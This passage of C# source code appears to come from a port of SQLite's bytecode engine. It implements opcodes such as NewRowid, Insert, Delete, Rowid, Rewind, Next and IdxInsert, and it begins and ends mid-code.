cursor. N includes the rowid\n          ** value appended to the end of the index record. This rowid value may\n          ** or may not be the same as R.\n          **\n          ** If any of the N registers beginning with register P4 contains a NULL\n          ** value, jump immediately to P2.\n          **\n          ** Otherwise, this instruction checks if cursor P1 contains an entry\n          ** where the first (N-1) fields match but the rowid value at the end\n          ** of the index entry is not R. If there is no such entry, control jumps\n          ** to instruction P2. Otherwise, the rowid of the conflicting index\n          ** entry is copied to register P3 and control falls through to the next\n          ** instruction.\n          **\n          ** See also: NotFound, NotExists, Found\n          */\n          case OP_IsUnique:\n            {        /* jump, in3 */\n              u16 ii;\n              VdbeCursor pCx = new VdbeCursor();\n              BtCursor pCrsr;\n              u16 nField;\n              Mem[] aMem;\n              UnpackedRecord r;                  /* B-Tree index search key */\n              i64 R;                             /* Rowid stored in register P3 */\n\n              r = new UnpackedRecord();\n\n              //  aMem = &p->aMem[pOp->p4.i];\n              /* Assert that the values of parameters P1 and P4 are in range. */\n              Debug.Assert( pOp.p4type == P4_INT32 );\n              Debug.Assert( pOp.p4.i > 0 && pOp.p4.i <= p.nMem );\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n\n              /* Find the index cursor. */\n              pCx = p.apCsr[pOp.p1];\n              Debug.Assert( !pCx.deferredMoveto );\n              pCx.seekResult = 0;\n              pCx.cacheStatus = CACHE_STALE;\n              pCrsr = pCx.pCursor;\n\n              /* If any of the values are NULL, take the jump. */\n              nField = pCx.pKeyInfo.nField;\n              aMem = new Mem[nField + 1];\n              for ( ii = 0 ; ii < nField ; ii++ )\n              {\n                aMem[ii] = p.aMem[pOp.p4.i + ii];\n                if ( ( aMem[ii].flags & MEM_Null ) != 0 )\n                {\n                  pc = pOp.p2 - 1;\n                  pCrsr = null;\n                  break;\n                }\n              }\n              aMem[nField] = new Mem();\n              //Debug.Assert( ( aMem[nField].flags & MEM_Null ) == 0 );\n\n              if ( pCrsr != null )\n              {\n                /* Populate the index search key. */\n                r.pKeyInfo = pCx.pKeyInfo;\n                r.nField = (ushort)( nField + 1 );\n                r.flags = UNPACKED_PREFIX_SEARCH;\n                r.aMem = aMem;\n\n                /* Extract the value of R from register P3. */\n                sqlite3VdbeMemIntegerify( pIn3 );\n                R = pIn3.u.i;\n\n                /* Search the B-Tree index. If no conflicting record is found, jump\n                ** to P2. Otherwise, copy the rowid of the conflicting record to\n                ** register P3 and fall through to the next instruction.  */\n                rc = sqlite3BtreeMovetoUnpacked( pCrsr, r, 0, 0, ref pCx.seekResult );\n                if ( ( r.flags & UNPACKED_PREFIX_SEARCH ) != 0 || r.rowid == R )\n                {\n                  pc = pOp.p2 - 1;\n                }\n                else\n                {\n                  pIn3.u.i = r.rowid;\n                }\n              }\n              break;\n            }\n\n\n          /* Opcode: NotExists P1 P2 P3 * *\n          **\n          ** Use the content of register P3 as a integer key.  If a record\n          ** with that key does not exist in table of P1, then jump to P2.\n          ** If the record does exist, then fall thru.  The cursor is left\n          ** pointing to the record if it exists.\n          **\n          ** The difference between this operation and NotFound is that this\n          ** operation assumes the key is an integer and that P1 is a table whereas\n          ** NotFound assumes key is a blob constructed from MakeRecord and\n          ** P1 is an index.\n          **\n          ** See also: Found, NotFound, IsUnique\n          */\n          case OP_NotExists:\n            {        /* jump, in3 */\n              VdbeCursor pC;\n              BtCursor pCrsr;\n              int res;\n              i64 iKey;\n\n              Debug.Assert( ( pIn3.flags & MEM_Int ) != 0 );\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              pC = p.apCsr[pOp.p1];\n              Debug.Assert( pC != null );\n              Debug.Assert( pC.isTable );\n              pCrsr = pC.pCursor;\n              if ( pCrsr != null )\n              {\n                res = 0;\n                iKey = pIn3.u.i;\n                rc = sqlite3BtreeMovetoUnpacked( pCrsr, null, (long)iKey, 0, ref res );\n                pC.lastRowid = pIn3.u.i;\n                pC.rowidIsValid = res == 0 ? true : false;\n                pC.nullRow = false;\n                pC.cacheStatus = CACHE_STALE;\n                pC.deferredMoveto = false;\n                if ( res != 0 )\n                {\n                  pc = pOp.p2 - 1;\n                  Debug.Assert( !pC.rowidIsValid );\n                }\n                pC.seekResult = res;\n              }\n              else\n              {\n                /* This happens when an attempt to open a read cursor on the\n                ** sqlite_master table returns SQLITE_EMPTY.\n                */\n                Debug.Assert( !pC.pseudoTable );\n                Debug.Assert( pC.isTable );\n                pc = pOp.p2 - 1;\n                Debug.Assert( !pC.rowidIsValid );\n                pC.seekResult = 0;\n              }\n              break;\n            }\n\n          /* Opcode: Sequence P1 P2 * * *\n          **\n          ** Find the next available sequence number for cursor P1.\n          ** Write the sequence number into register P2.\n          ** The sequence number on the cursor is incremented after this\n          ** instruction.\n          */\n          case OP_Sequence:\n            {           /* out2-prerelease */\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              Debug.Assert( p.apCsr[pOp.p1] != null );\n              pOut.u.i = (long)p.apCsr[pOp.p1].seqCount++;\n              MemSetTypeFlag( pOut, MEM_Int );\n              break;\n            }\n\n\n          /* Opcode: NewRowid P1 P2 P3 * *\n          **\n          ** Get a new integer record number (a.k.a \"rowid\") used as the key to a table.\n          ** The record number is not previously used as a key in the database\n          ** table that cursor P1 points to.  The new record number is written\n          ** written to register P2.\n          **\n          ** If P3>0 then P3 is a register that holds the largest previously\n          ** generated record number.  No new record numbers are allowed to be less\n          ** than this value.  When this value reaches its maximum, a SQLITE_FULL\n          ** error is generated.  The P3 register is updated with the generated\n          ** record number.  This P3 mechanism is used to help implement the\n          ** AUTOINCREMENT feature.\n          */\n          case OP_NewRowid:\n            {           /* out2-prerelease */\n              i64 v;                 /* The new rowid */\n              VdbeCursor pC;         /* Cursor of table to get the new rowid */\n              int res;               /* Result of an sqlite3BtreeLast() */\n              int cnt;               /* Counter to limit the number of searches */\n              Mem pMem;              /* Register holding largest rowid for AUTOINCREMENT */\n\n              v = 0;\n              res = 0;\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              pC = p.apCsr[pOp.p1];\n              Debug.Assert( pC != null );\n              if ( NEVER( pC.pCursor == null ) )\n              {\n                /* The zero initialization above is all that is needed */\n              }\n              else\n              {\n                /* The next rowid or record number (different terms for the same\n                ** thing) is obtained in a two-step algorithm.\n                **\n                ** First we attempt to find the largest existing rowid and add one\n                ** to that.  But if the largest existing rowid is already the maximum\n                ** positive integer, we have to fall through to the second\n                ** probabilistic algorithm\n                **\n                ** The second algorithm is to select a rowid at random and see if\n                ** it already exists in the table.  If it does not exist, we have\n                ** succeeded.  If the random rowid does exist, we select a new one\n                ** and try again, up to 100 times.\n                */\n                Debug.Assert( pC.isTable );\n                cnt = 0;\n\n#if SQLITE_32BIT_ROWID\nconst int MAX_ROWID = i32.MaxValue;//#   define MAX_ROWID 0x7fffffff\n#else\n                /* Some compilers complain about constants of the form 0x7fffffffffffffff.\n** Others complain about 0x7ffffffffffffffffLL.  The following macro seems\n** to provide the constant while making all compilers happy.\n*/\n                const long MAX_ROWID = i64.MaxValue;// (i64)( (((u64)0x7fffffff)<<32) | (u64)0xffffffff )\n#endif\n\n                if ( !pC.useRandomRowid )\n                {\n                  v = sqlite3BtreeGetCachedRowid( pC.pCursor );\n                  if ( v == 0 )\n                  {\n                    rc = sqlite3BtreeLast( pC.pCursor, ref res );\n                    if ( rc != SQLITE_OK )\n                    {\n                      goto abort_due_to_error;\n                    }\n                    if ( res != 0 )\n                    {\n                      v = 1;\n                    }\n                    else\n                    {\n                      Debug.Assert( sqlite3BtreeCursorIsValid( pC.pCursor ) );\n                      rc = sqlite3BtreeKeySize( pC.pCursor, ref v );\n                      Debug.Assert( rc == SQLITE_OK );   /* Cannot fail following BtreeLast() */\n                      if ( v == MAX_ROWID )\n                      {\n                        pC.useRandomRowid = true;\n                      }\n                      else\n                      {\n                        v++;\n                      }\n                    }\n                  }\n\n#if !SQLITE_OMIT_AUTOINCREMENT\n                  if ( pOp.p3 != 0 )\n                  {\n                    Debug.Assert( pOp.p3 > 0 && pOp.p3 <= p.nMem ); /* P3 is a valid memory cell */\n                    pMem = p.aMem[pOp.p3];\n#if SQLITE_DEBUG\n                    REGISTER_TRACE( p, pOp.p3, pMem );\n#endif\n                    sqlite3VdbeMemIntegerify( pMem );\n                    Debug.Assert( ( pMem.flags & MEM_Int ) != 0 );  /* mem(P3) holds an integer */\n                    if ( pMem.u.i == MAX_ROWID || pC.useRandomRowid )\n                    {\n                      rc = SQLITE_FULL;\n                      goto abort_due_to_error;\n                    }\n                    if ( v < ( pMem.u.i + 1 ) )\n                    {\n                      v = (int)( pMem.u.i + 1 );\n                    }\n                    pMem.u.i = (long)v;\n                  }\n#endif\n\n                  sqlite3BtreeSetCachedRowid( pC.pCursor, v < MAX_ROWID ? v + 1 : 0 );\n                }\n                if ( pC.useRandomRowid )\n                {\n                  Debug.Assert( pOp.p3 == 0 );  /* We cannot be in random rowid mode if this is\n** an AUTOINCREMENT table. */\n                  v = db.lastRowid;\n                  cnt = 0;\n                  do\n                  {\n                    if ( cnt == 0 && ( v & 0xffffff ) == v )\n                    {\n                      v++;\n                    }\n                    else\n                    {\n                      sqlite3_randomness( sizeof( i64 ), ref v );\n                      if ( cnt < 5 ) v &= 0xffffff;\n                    }\n                    rc = sqlite3BtreeMovetoUnpacked( pC.pCursor, null, v, 0, ref res );\n                    cnt++;\n                  } while ( cnt < 100 && rc == SQLITE_OK && res == 0 );\n                  if ( rc == SQLITE_OK && res == 0 )\n                  {\n                    rc = SQLITE_FULL;\n                    goto abort_due_to_error;\n                  }\n                }\n                pC.rowidIsValid = false;\n                pC.deferredMoveto = false;\n                pC.cacheStatus = CACHE_STALE;\n              }\n              MemSetTypeFlag( pOut, MEM_Int );\n              pOut.u.i = (long)v;\n              break;\n            }\n\n          /* Opcode: Insert P1 P2 P3 P4 P5\n          **\n          ** Write an entry into the table of cursor P1.  A new entry is\n          ** created if it doesn't already exist or the data for an existing\n          ** entry is overwritten.  The data is the value stored register\n          ** number P2. The key is stored in register P3. The key must\n          ** be an integer.\n          **\n          ** If the OPFLAG_NCHANGE flag of P5 is set, then the row change count is\n          ** incremented (otherwise not).  If the OPFLAG_LASTROWID flag of P5 is set,\n          ** then rowid is stored for subsequent return by the\n          ** sqlite3_last_insert_rowid() function (otherwise it is unmodified).\n          **\n          ** Parameter P4 may point to a string containing the table-name, or\n          ** may be NULL. If it is not NULL, then the update-hook\n          ** (sqlite3.xUpdateCallback) is invoked following a successful insert.\n          **\n          ** (WARNING/TODO: If P1 is a pseudo-cursor and P2 is dynamically\n          ** allocated, then ownership of P2 is transferred to the pseudo-cursor\n          ** and register P2 becomes ephemeral.  If the cursor is changed, the\n          ** value of register P2 will then change.  Make sure this does not\n          ** cause any problems.)\n          **\n          ** This instruction only works on tables.  The equivalent instruction\n          ** for indices is OP_IdxInsert.\n          */\n          case OP_Insert:\n            {\n              Mem pData;\n              Mem pKey;\n\n              i64 iKey;   /* The integer ROWID or key for the record to be inserted */\n\n              VdbeCursor pC;\n              int nZero;\n              int seekResult;\n              string zDb;\n              string zTbl;\n              int op;\n\n              pData = p.aMem[pOp.p2];\n              pKey = p.aMem[pOp.p3];\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              pC = p.apCsr[pOp.p1];\n              Debug.Assert( pC != null );\n              Debug.Assert( pC.pCursor != null || pC.pseudoTable );\n              Debug.Assert( ( pKey.flags & MEM_Int ) != 0 );\n              Debug.Assert( pC.isTable );\n#if SQLITE_DEBUG\n              REGISTER_TRACE( p, pOp.p2, pData );\n              REGISTER_TRACE( p, pOp.p3, pKey );\n#endif\n              iKey = pKey.u.i;\n              if ( ( pOp.p5 & OPFLAG_NCHANGE ) != 0 ) p.nChange++;\n              if ( ( pOp.p5 & OPFLAG_LASTROWID ) != 0 ) db.lastRowid = pKey.u.i;\n              if ( ( pData.flags & MEM_Null ) != 0 )\n              {\n                pData.zBLOB = null;\n                pData.z = null;\n                pData.n = 0;\n              }\n              else\n              {\n                Debug.Assert( ( pData.flags & ( MEM_Blob | MEM_Str ) ) != 0 );\n              }\n              if ( pC.pseudoTable )\n              {\n                if ( !pC.ephemPseudoTable )\n                {\n                  //sqlite3DbFree( db, ref pC.pData );\n                }\n                pC.iKey = iKey;\n                pC.nData = pData.n;\n                if ( pC.ephemPseudoTable )//|| pData->z==pData->zMalloc )\n                {\n                  if ( pData.zBLOB != null )\n                  {\n                    pC.pData = new byte[pC.nData + 2];// sqlite3Malloc(pC.nData + 2);\n                    Buffer.BlockCopy( pData.zBLOB, 0, pC.pData, 0, pC.nData );\n                  }\n                  else\n                    pC.pData = Encoding.UTF8.GetBytes( pData.z );\n                  //if ( !pC.ephemPseudoTable )\n                  //{\n                  //  pData.flags &= ~MEM_Dyn;\n                  //  pData.flags |= MEM_Ephem;\n                  //  pData.zMalloc = null;\n                  //}\n                }\n                else\n                {\n                  pC.pData = new byte[pC.nData + 2];// sqlite3Malloc(pC.nData + 2);\n                  if ( pC.pData == null ) goto no_mem;\n                  if ( pC.nData > 0 ) Buffer.BlockCopy( pData.zBLOB, 0, pC.pData, 0, pC.nData );// memcpy(pC.pData, pData.z, pC.nData);\n                  //pC.pData[pC.nData] = 0;\n                  //pC.pData[pC.nData + 1] = 0;\n                }\n                pC.nullRow = false;\n              }\n              else\n              {\n                seekResult = ( ( pOp.p5 & OPFLAG_USESEEKRESULT ) != 0 ? pC.seekResult : 0 );\n                if ( ( pData.flags & MEM_Zero ) != 0 )\n                {\n                  nZero = pData.u.nZero;\n                }\n                else\n                {\n                  nZero = 0;\n                }\n                rc = sqlite3BtreeInsert( pC.pCursor, null, iKey,\n                pData.zBLOB\n                , pData.n, nZero,\n                ( pOp.p5 & OPFLAG_APPEND ) != 0?1:0, seekResult\n                );\n              }\n\n              pC.rowidIsValid = false;\n              pC.deferredMoveto = false;\n              pC.cacheStatus = CACHE_STALE;\n\n              /* Invoke the update-hook if required. */\n              if ( rc == SQLITE_OK && db.xUpdateCallback != null && pOp.p4.z != null )\n              {\n                zDb = db.aDb[pC.iDb].zName;\n                zTbl = pOp.p4.z;\n                op = ( ( pOp.p5 & OPFLAG_ISUPDATE ) != 0 ? SQLITE_UPDATE : SQLITE_INSERT );\n                Debug.Assert( pC.isTable );\n                db.xUpdateCallback( db.pUpdateArg, op, zDb, zTbl, iKey );\n                Debug.Assert( pC.iDb >= 0 );\n              }\n              break;\n            }\n\n          /* Opcode: Delete P1 P2 * P4 *\n          **\n          ** Delete the record at which the P1 cursor is currently pointing.\n          **\n          ** The cursor will be left pointing at either the next or the previous\n          ** record in the table. If it is left pointing at the next record, then\n          ** the next Next instruction will be a no-op.  Hence it is OK to delete\n          ** a record from within an Next loop.\n          **\n          ** If the OPFLAG_NCHANGE flag of P2 is set, then the row change count is\n          ** incremented (otherwise not).\n          **\n          ** P1 must not be pseudo-table.  It has to be a real table with\n          ** multiple rows.\n          **\n          ** If P4 is not NULL, then it is the name of the table that P1 is\n          ** pointing to.  The update hook will be invoked, if it exists.\n          ** If P4 is not NULL then the P1 cursor must have been positioned\n          ** using OP_NotFound prior to invoking this opcode.\n          */\n          case OP_Delete:\n            {\n              i64 iKey;\n              VdbeCursor pC;\n\n              iKey = 0;\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              pC = p.apCsr[pOp.p1];\n              Debug.Assert( pC != null );\n              Debug.Assert( pC.pCursor != null );  /* Only valid for real tables, no pseudotables */\n\n              /* If the update-hook will be invoked, set iKey to the rowid of the\n              ** row being deleted.\n              */\n              if ( db.xUpdateCallback != null && pOp.p4.z != null )\n              {\n                Debug.Assert( pC.isTable );\n                Debug.Assert( pC.rowidIsValid );  /* lastRowid set by previous OP_NotFound */\n                iKey = pC.lastRowid;\n              }\n\n              /* The OP_Delete opcode always follows an OP_NotExists or OP_Last or\n              ** OP_Column on the same table without any intervening operations that\n              ** might move or invalidate the cursor.  Hence cursor pC is always pointing\n              ** to the row to be deleted and the sqlite3VdbeCursorMoveto() operation\n              ** below is always a no-op and cannot fail.  We will run it anyhow, though,\n              ** to guard against future changes to the code generator.\n              **/\n              Debug.Assert( pC.deferredMoveto == false );\n              rc = sqlite3VdbeCursorMoveto( pC );\n              if ( NEVER( rc != SQLITE_OK ) ) goto abort_due_to_error;\n              sqlite3BtreeSetCachedRowid( pC.pCursor, 0 );\n              rc = sqlite3BtreeDelete( pC.pCursor );\n              pC.cacheStatus = CACHE_STALE;\n\n              /* Invoke the update-hook if required. */\n              if ( rc == SQLITE_OK && db.xUpdateCallback != null && pOp.p4.z != null )\n              {\n                string zDb = db.aDb[pC.iDb].zName;\n                string zTbl = pOp.p4.z;\n                db.xUpdateCallback( db.pUpdateArg, SQLITE_DELETE, zDb, zTbl, iKey );\n                Debug.Assert( pC.iDb >= 0 );\n              }\n              if ( ( pOp.p2 & OPFLAG_NCHANGE ) != 0 ) p.nChange++;\n              break;\n            }\n\n          /* Opcode: ResetCount P1 * *\n          **\n          ** This opcode resets the VMs internal change counter to 0. If P1 is true,\n          ** then the value of the change counter is copied to the database handle\n          ** change counter (returned by subsequent calls to sqlite3_changes())\n          ** before it is reset. This is used by trigger programs.\n          */\n          case OP_ResetCount:\n            {\n              if ( pOp.p1 != 0 )\n              {\n                sqlite3VdbeSetChanges( db, p.nChange );\n              }\n              p.nChange = 0;\n              break;\n            }\n\n          /* Opcode: RowData P1 P2 * * *\n          **\n          ** Write into register P2 the complete row data for cursor P1.\n          ** There is no interpretation of the data.\n          ** It is just copied onto the P2 register exactly as\n          ** it is found in the database file.\n          **\n          ** If the P1 cursor must be pointing to a valid row (not a NULL row)\n          ** of a real table, not a pseudo-table.\n          */\n          /* Opcode: RowKey P1 P2 * * *\n          **\n          ** Write into register P2 the complete row key for cursor P1.\n          ** There is no interpretation of the data.\n          ** The key is copied onto the P3 register exactly as\n          ** it is found in the database file.\n          **\n          ** If the P1 cursor must be pointing to a valid row (not a NULL row)\n          ** of a real table, not a pseudo-table.\n          */\n          case OP_RowKey:\n          case OP_RowData:\n            {\n              VdbeCursor pC;\n              BtCursor pCrsr;\n              u32 n;\n              i64 n64;\n\n              n = 0;\n              n64 = 0;\n\n              pOut = p.aMem[pOp.p2];\n\n              /* Note that RowKey and RowData are really exactly the same instruction */\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              pC = p.apCsr[pOp.p1];\n              Debug.Assert( pC.isTable || pOp.opcode == OP_RowKey );\n              Debug.Assert( pC.isIndex || pOp.opcode == OP_RowData );\n              Debug.Assert( pC != null );\n              Debug.Assert( !pC.nullRow );\n              Debug.Assert( !pC.pseudoTable );\n              Debug.Assert( pC.pCursor != null );\n              pCrsr = pC.pCursor;\n              Debug.Assert( sqlite3BtreeCursorIsValid( pCrsr ) );\n\n              /* The OP_RowKey and OP_RowData opcodes always follow OP_NotExists or\n              ** OP_Rewind/Op_Next with no intervening instructions that might invalidate\n              ** the cursor.  Hence the following sqlite3VdbeCursorMoveto() call is always\n              ** a no-op and can never fail.  But we leave it in place as a safety.\n              */\n              Debug.Assert( pC.deferredMoveto == false );\n              rc = sqlite3VdbeCursorMoveto( pC );\n              if ( NEVER( rc != SQLITE_OK ) ) goto abort_due_to_error;\n              if ( pC.isIndex )\n              {\n                Debug.Assert( !pC.isTable );\n                rc=sqlite3BtreeKeySize( pCrsr, ref n64 );\n                Debug.Assert( rc == SQLITE_OK );    /* True because of CursorMoveto() call above */\n                if ( n64 > db.aLimit[SQLITE_LIMIT_LENGTH] )\n                {\n                  goto too_big;\n                }\n                n = (u32)n64;\n              }\n              else\n              {\n                rc = sqlite3BtreeDataSize( pCrsr, ref n );\n                Debug.Assert( rc == SQLITE_OK );    /* DataSize() cannot fail */\n                if ( n > (u32)db.aLimit[SQLITE_LIMIT_LENGTH] )\n                {\n                  goto too_big;\n                }\n                if ( sqlite3VdbeMemGrow( pOut, (int)n, 0 ) != 0 )\n                {\n                  goto no_mem;\n                }\n              }\n              pOut.n = (int)n;\n              if ( pC.isIndex )\n              {\n                pOut.zBLOB = new byte[n];\n                rc = sqlite3BtreeKey( pCrsr, 0, n, pOut.zBLOB );\n              }\n              else\n              {\n                pOut.zBLOB = new byte[pCrsr.info.nData];\n                rc = sqlite3BtreeData( pCrsr, 0, (u32)n, pOut.zBLOB );\n              }\n              MemSetTypeFlag( pOut, MEM_Blob );\n              pOut.enc = SQLITE_UTF8;  /* In case the blob is ever cast to text */\n#if SQLITE_TEST\n              UPDATE_MAX_BLOBSIZE( pOut );\n#endif\n              break;\n            }\n\n          /* Opcode: Rowid P1 P2 * * *\n          **\n          ** Store in register P2 an integer which is the key of the table entry that\n          ** P1 is currently point to.\n          **\n          ** P1 can be either an ordinary table or a virtual table.  There used to\n          ** be a separate OP_VRowid opcode for use with virtual tables, but this\n          ** one opcode now works for both table types.\n          */\n          case OP_Rowid:\n            {                 /* out2-prerelease */\n              VdbeCursor pC;\n              i64 v;\n              sqlite3_vtab pVtab;\n              sqlite3_module pModule;\n\n              v = 0;\n\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              pC = p.apCsr[pOp.p1];\n              Debug.Assert( pC != null );\n              if ( pC.nullRow )\n              {\n                /* Do nothing so that reg[P2] remains NULL */\n                break;\n              }\n              else if ( pC.deferredMoveto )\n              {\n                v = pC.movetoTarget;\n              }\n              else if ( pC.pseudoTable )\n              {\n                v = pC.iKey;\n#if !SQLITE_OMIT_VIRTUALTABLE\n}else if( pC.pVtabCursor ){\npVtab = pC.pVtabCursor.pVtab;\npModule = pVtab.pModule;\nassert( pModule.xRowid );\nif( sqlite3SafetyOff(db) ) goto abort_due_to_misuse;\nrc = pModule.xRowid(pC.pVtabCursor, &v);\n//sqlite3DbFree(db, p.zErrMsg);\np.zErrMsg = pVtab.zErrMsg;\npVtab.zErrMsg = 0;\nif( sqlite3SafetyOn(db) ) goto abort_due_to_misuse;\n#endif //* SQLITE_OMIT_VIRTUALTABLE */\n              }\n              else\n              {\n                Debug.Assert( pC.pCursor != null );\n                rc = sqlite3VdbeCursorMoveto( pC );\n                if ( rc != 0 ) goto abort_due_to_error;\n                if ( pC.rowidIsValid )\n                {\n                  v = pC.lastRowid;\n                }\n                else\n                {\n                  rc = sqlite3BtreeKeySize( pC.pCursor, ref v );\n                  Debug.Assert( rc == SQLITE_OK );  /* Always so because of CursorMoveto() above */\n                }\n              }\n              pOut.u.i = (long)v;\n              MemSetTypeFlag( pOut, MEM_Int );\n              break;\n            }\n\n          /* Opcode: NullRow P1 * * * *\n          **\n          ** Move the cursor P1 to a null row.  Any OP_Column operations\n          ** that occur while the cursor is on the null row will always\n          ** write a NULL.\n          */\n          case OP_NullRow:\n            {\n              VdbeCursor pC;\n\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              pC = p.apCsr[pOp.p1];\n              Debug.Assert( pC != null );\n              pC.nullRow = true;\n              pC.rowidIsValid = false;\n              if ( pC.pCursor != null )\n              {\n                sqlite3BtreeClearCursor( pC.pCursor );\n              }\n              break;\n            }\n\n          /* Opcode: Last P1 P2 * * *\n          **\n          ** The next use of the Rowid or Column or Next instruction for P1\n          ** will refer to the last entry in the database table or index.\n          ** If the table or index is empty and P2>0, then jump immediately to P2.\n          ** If P2 is 0 or if the table or index is not empty, fall through\n          ** to the following instruction.\n          */\n          case OP_Last:\n            {        /* jump */\n              VdbeCursor pC;\n              BtCursor pCrsr;\n              int res = 0;\n\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              pC = p.apCsr[pOp.p1];\n              Debug.Assert( pC != null );\n              pCrsr = pC.pCursor;\n              if ( pCrsr == null )\n              {\n                res = 1;\n              }\n              else\n              {\n                rc = sqlite3BtreeLast( pCrsr, ref res );\n              }\n              pC.nullRow = res == 1 ? true : false;\n              pC.deferredMoveto = false;\n              pC.rowidIsValid = false;\n              pC.cacheStatus = CACHE_STALE;\n              if ( pOp.p2 > 0 && res != 0 )\n              {\n                pc = pOp.p2 - 1;\n              }\n              break;\n            }\n\n\n          /* Opcode: Sort P1 P2 * * *\n          **\n          ** This opcode does exactly the same thing as OP_Rewind except that\n          ** it increments an undocumented global variable used for testing.\n          **\n          ** Sorting is accomplished by writing records into a sorting index,\n          ** then rewinding that index and playing it back from beginning to\n          ** end.  We use the OP_Sort opcode instead of OP_Rewind to do the\n          ** rewinding so that the global variable will be incremented and\n          ** regression tests can determine whether or not the optimizer is\n          ** correctly optimizing out sorts.\n          */\n          case OP_Sort:\n            {        /* jump */\n#if SQLITE_TEST\n              sqlite3_sort_count.iValue++;\n              sqlite3_search_count.iValue--;\n#endif\n              p.aCounter[SQLITE_STMTSTATUS_SORT - 1]++;\n              /* Fall through into OP_Rewind */\n              goto case OP_Rewind;\n            }\n          /* Opcode: Rewind P1 P2 * * *\n          **\n          ** The next use of the Rowid or Column or Next instruction for P1\n          ** will refer to the first entry in the database table or index.\n          ** If the table or index is empty and P2>0, then jump immediately to P2.\n          ** If P2 is 0 or if the table or index is not empty, fall through\n          ** to the following instruction.\n          */\n          case OP_Rewind:\n            {        /* jump */\n              VdbeCursor pC;\n              BtCursor pCrsr;\n              int res = 0;\n\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              pC = p.apCsr[pOp.p1];\n              Debug.Assert( pC != null );\n              if ( ( pCrsr = pC.pCursor ) != null )\n              {\n                rc = sqlite3BtreeFirst( pCrsr, ref res );\n                pC.atFirst = res == 0 ? true : false;\n                pC.deferredMoveto = false;\n                pC.cacheStatus = CACHE_STALE;\n                pC.rowidIsValid = false;\n              }\n              else\n              {\n                res = 1;\n              }\n              pC.nullRow = res == 1 ? true : false;\n              Debug.Assert( pOp.p2 > 0 && pOp.p2 < p.nOp );\n              if ( res != 0 )\n              {\n                pc = pOp.p2 - 1;\n              }\n              break;\n            }\n\n          /* Opcode: Next P1 P2 * * *\n          **\n          ** Advance cursor P1 so that it points to the next key/data pair in its\n          ** table or index.  If there are no more key/value pairs then fall through\n          ** to the following instruction.  But if the cursor advance was successful,\n          ** jump immediately to P2.\n          **\n          ** The P1 cursor must be for a real table, not a pseudo-table.\n          **\n          ** See also: Prev\n          */\n          /* Opcode: Prev P1 P2 * * *\n          **\n          ** Back up cursor P1 so that it points to the previous key/data pair in its\n          ** table or index.  If there is no previous key/value pairs then fall through\n          ** to the following instruction.  But if the cursor backup was successful,\n          ** jump immediately to P2.\n          **\n          ** The P1 cursor must be for a real table, not a pseudo-table.\n          */\n          case OP_Prev:          /* jump */\n          case OP_Next:\n            {        /* jump */\n              VdbeCursor pC;\n              BtCursor pCrsr;\n              int res;\n\n              if ( db.u1.isInterrupted ) goto abort_due_to_interrupt; //CHECK_FOR_INTERRUPT;\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              pC = p.apCsr[pOp.p1];\n              if ( pC == null )\n              {\n                break;  /* See ticket #2273 */\n              }\n              pCrsr = pC.pCursor;\n              if ( pCrsr == null )\n              {\n                pC.nullRow = true;\n                break;\n              }\n              res = 1;\n              Debug.Assert( !pC.deferredMoveto );\n              rc = pOp.opcode == OP_Next ? sqlite3BtreeNext( pCrsr, ref res ) :\n              sqlite3BtreePrevious( pCrsr, ref res );\n              pC.nullRow = res == 1 ? true : false;\n              pC.cacheStatus = CACHE_STALE;\n              if ( res == 0 )\n              {\n                pc = pOp.p2 - 1;\n                if ( pOp.p5 != 0 ) p.aCounter[pOp.p5 - 1]++;\n#if SQLITE_TEST\n                sqlite3_search_count.iValue++;\n#endif\n              }\n              pC.rowidIsValid = false;\n              break;\n            }\n\n          /* Opcode: IdxInsert P1 P2 P3 * P5\n          **\n          ** Register P2 holds a SQL index key made using the\n          ** MakeRecord instructions.  This opcode writes that key\n          ** into the index P1.  Data for the entry is nil.\n          **\n          ** P3 is a flag that provides a hint to the b-tree layer that this\n          ** insert is likely to be an append.\n          **\n          ** This instruction only works for indices.  The equivalent instruction\n          ** for tables is OP_Insert.\n          */\n          case OP_IdxInsert:\n            {        /* in2 */\n              VdbeCursor pC;\n              BtCursor pCrsr;\n              int nKey;\n              byte[] zKey;\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              pC = p.apCsr[pOp.p1];\n              Debug.Assert( pC != null );\n              Debug.Assert( ( pIn2.flags & MEM_Blob ) != 0 );\n              pCrsr = pC.pCursor;\n              if ( ALWAYS( pCrsr != null ) )\n              {\n                Debug.Assert( !pC.isTable );\n                ExpandBlob( pIn2 );\n                if ( rc == SQLITE_OK )\n                {\n                  nKey = pIn2.n;\n                  zKey = ( pIn2.flags & MEM_Blob ) != 0 ? pIn2.zBLOB : Encoding.UTF8.GetBytes( pIn2.z );\n                  rc = sqlite3BtreeInsert( pCrsr, zKey, nKey, new byte[1], 0, 0, (pOp.p3 != 0)?1:0,\n                  ( ( pOp.p5 & OPFLAG_USESEEKRESULT ) != 0 ? pC.seekResult : 0 )\n                  );\n                  Debug.Assert( !pC.deferredMoveto );\n                  pC.cacheStatus = CACHE_STALE;\n                }\n              }\n              break;\n            }\n\n\n          /* Opcode: IdxDelete P1 P2 P3 * *\n          **\n          ** The content of P3 registers starting at register P2 form\n          ** an unpacked index key. This opcode removes that entry from the\n          ** index opened by cursor P1.\n          */\n          case OP_IdxDelete:\n            {\n              VdbeCursor pC;\n              BtCursor pCrsr;\n              int res;\n              UnpackedRecord r;\n\n              res = 0;\n              r = new UnpackedRecord();\n\n              Debug.Assert( pOp.p3 > 0 );\n              Debug.Assert( pOp.p2 > 0 && pOp.p2 + pOp.p3 <= p.nMem + 1 );\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              pC = 